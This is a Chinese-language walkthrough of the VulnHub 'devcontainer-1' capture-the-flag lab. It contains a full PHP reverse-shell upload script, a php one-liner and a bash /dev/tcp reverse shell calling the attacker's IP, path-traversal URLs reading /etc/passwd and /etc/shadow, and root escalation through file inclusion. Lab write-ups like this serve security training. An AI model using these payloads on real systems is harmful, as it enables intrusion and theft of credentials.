一、环境搭建
下载地址:
https://www.vulnhub.com/entry/devcontainer-1,548/
靶场描述:
Goal: 2 flagas
Difficulty: Easy-intermediate
Information: Your feedback is appreciate:
Twitter: @0x04E1
This works better with VirtualBox rather than Vmware
配置IP地址
参考:https://www.cnblogs.com/asstart/p/12626494.html
二、渗透测试
获取靶机IP:利用kali的netdiscover探测靶机IP地址
命令:netdiscover -i eth0(网卡) -r 192.168.226.0/24(网段)
扫描目录:利用kali工具dirb
命令:dirb http://192.168.226.150
文件上传:访问192.168.226.150/upload,上传一个php的反弹shell的脚本reactionshell.php,代码如下
<?php
set_time_limit(0);
$ip= "192.168.226.130"; # set your kali ip
$port= 4444; # set you kali port
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
反弹shell(1):使用kali监听4444端口
nc -lvp 4444
此时执行whoami可以发现当前权限为www-data,且不能进入其他目录,在当前页面中使用php一句话反弹shell
php -r '$sock=fsockopen("192.168.226.130",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
反弹shell(2):建立新的监听 nc -lvp 6666,此时权限依然为www-data,但是可以切换目录
但是还是不能进入/Maintenance-Web-Docker目录
使用如下命令提升权限
/usr/bin/script -qc /bin/bash /dev/null
stty raw -echo; fg; reset
参考链接(https://schtech.co.uk/linux-reverse-shell-without-python/)
此时可以进入/Maintenance-Web-Docker目录
执行cat list.sh命令我们可以发现我们可以通过执行
echo "bash -i >& /dev/tcp/192.168.226.130/7777 0>&1" >> list.sh
来新生成一个名为richard的shell
反弹shell(3):
获取到了第一个flag
本地文件包含:
执行sudo -l 得到提示
执行框中命令,即可访问之前不能访问的8080端口,通过观察可以发现此端口的页面中存在文件包含
http://192.168.226.150:8080/index.php?view=../../../../../etc/passwd
http://192.168.226.150:8080/index.php?view=../../../../../etc/shadow
http://192.168.226.150:8080/index.php?view=../../../../../root/proof.txt
得到flag
提权至root:
(1)将reactionshell.php 复制到tmp目录中
cp /home/richard/web/upload/files/reactionshell.php /tmp/reactionshell.php
再使用8080端口进行文件包含
http://192.168.226.150:8080//index.php?view=../../../../../../tmp/reaction.php
(2)或者:
直接进行文件包含
再次监听4444端口,可以看见当前权限为root